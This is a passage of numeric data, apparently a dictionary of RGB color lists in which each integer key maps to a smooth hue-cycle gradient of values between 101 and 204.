(101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 173), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 145, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (117, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (143, 101, 204), (145, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (160, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (174, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (188, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 158), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 144), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 219: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 169, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 183, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 199, 101), (204, 202, 101), (202, 204, 101), (199, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (188, 204, 101), (185, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (155, 204, 101), (152, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 155), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 185), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 185, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (155, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 183), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 220: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (203, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (189, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (164, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (116, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 126), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 167), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 176, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 126, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (189, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 168), (204, 101, 165), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 221: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 196, 101), (204, 198, 101), (204, 201, 101), (203, 204, 101), (200, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (164, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (123, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 136), (101, 204, 138), (101, 204, 141), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 172), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 172, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 147, 204), (101, 144, 204), (101, 141, 204), (101, 138, 204), (101, 136, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (150, 101, 204), (153, 101, 204), (156, 101, 204), (159, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 196), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 171), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 222: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 137, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 179, 101), (204, 181, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (204, 204, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (179, 204, 101), (176, 204, 101), (173, 204, 101), (170, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (159, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (137, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (126, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 126), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 137), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 170, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 137, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 126, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (126, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (137, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (159, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 181), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 223: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 143, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 167, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 187, 101), (204, 189, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 200, 101), (204, 203, 101), (201, 204, 101), (198, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (185, 204, 101), (182, 204, 101), (179, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (168, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (155, 204, 101), (152, 204, 101), (149, 204, 101), (146, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (122, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 153), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 164), (101, 204, 166), (101, 204, 169), (101, 204, 172), (101, 204, 175), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 166, 204), (101, 164, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (144, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (155, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (168, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 189), (204, 101, 187), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 224: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 173, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (191, 204, 101), (188, 204, 101), (185, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 171, 204), (101, 168, 204), (101, 165, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (174, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 164), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 225: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 131, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 150, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 199, 101), (204, 202, 101), (202, 204, 101), (199, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (189, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 150), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 150, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 129, 204), (101, 126, 204), (101, 123, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (150, 101, 204), (153, 101, 204), (156, 101, 204), (159, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (189, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 148), (204, 101, 145), (204, 101, 